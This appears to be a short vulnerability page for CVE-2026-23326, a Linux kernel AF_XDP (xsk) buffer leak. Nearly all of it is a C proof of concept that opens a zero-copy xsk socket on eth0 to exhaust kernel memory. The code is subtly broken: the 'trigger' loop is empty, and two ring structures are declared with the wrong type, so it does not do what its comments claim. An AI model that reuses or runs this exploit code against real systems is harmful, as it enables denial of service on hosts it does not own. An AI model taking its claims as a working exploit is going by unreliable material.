CVE-2026-23326 Linux内核xsk缓冲区泄漏漏洞

/* * Conceptual PoC for CVE-2026-23326 * This code demonstrates the setup to trigger the buffer leak in Linux kernel xsk. * Requires root or CAP_NET_RAW capabilities to create AF_XDP sockets. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <linux/if_xdp.h> #include <sys/socket.h> #include <bpf/xsk.h> #define NUM_FRAMES 4096 #define FRAME_SIZE 2048 #define BATCH_SIZE 64 void trigger_leak() { struct xsk_socket_config xsk_cfg; struct xsk_umem_config umem_cfg; struct xsk_socket *xsk; struct xsk_umem *umem; void *bufs; int ret; struct xsk_ring_prod fq, cq; struct xsk_ring_cons rx, tx; // Configure UMEM memset(&umem_cfg, 0, sizeof(umem_cfg)); umem_cfg.fill_size = NUM_FRAMES; umem_cfg.comp_size = NUM_FRAMES; umem_cfg.frame_size = FRAME_SIZE; umem_cfg.frame_headroom = 0; // Allocate memory buffer if (posix_memalign(&bufs, getpagesize(), NUM_FRAMES * FRAME_SIZE)) { perror("posix_memalign"); return; } // Create UMEM ret = xsk_umem__create(&umem, bufs, NUM_FRAMES * FRAME_SIZE, &fq, &cq, &umem_cfg); if (ret) { perror("xsk_umem__create"); return; } // Configure Socket memset(&xsk_cfg, 0, sizeof(xsk_cfg)); xsk_cfg.rx_size = NUM_FRAMES; xsk_cfg.tx_size = NUM_FRAMES; xsk_cfg.libxdp_flags = 0; xsk_cfg.xdp_flags = 0; xsk_cfg.bind_flags = XDP_ZEROCOPY; // Zero-copy mode often triggers specific paths // Create Socket (Assuming interface eth0 exists) ret = xsk_socket__create(&xsk, "eth0", 0, umem, &rx, &tx, &xsk_cfg); if (ret) { perror("xsk_socket__create"); printf("Note: This requires a valid network interface."); return; } printf("Socket created. Sending packets to trigger fragment handling...\n"); // Loop to trigger the vulnerability // The leak happens when fragments are processed and list_del is called instead of list_del_init for (int i = 0; i < 100000; i++) { // In a real scenario, we would populate TX ring with fragmented packets // and receive them to trigger the cleanup logic. // Repeated execution causes kernel memory exhaustion. } xsk_socket__delete(xsk); xsk_umem__delete(umem); free(bufs); } int main() { trigger_leak(); return 0; }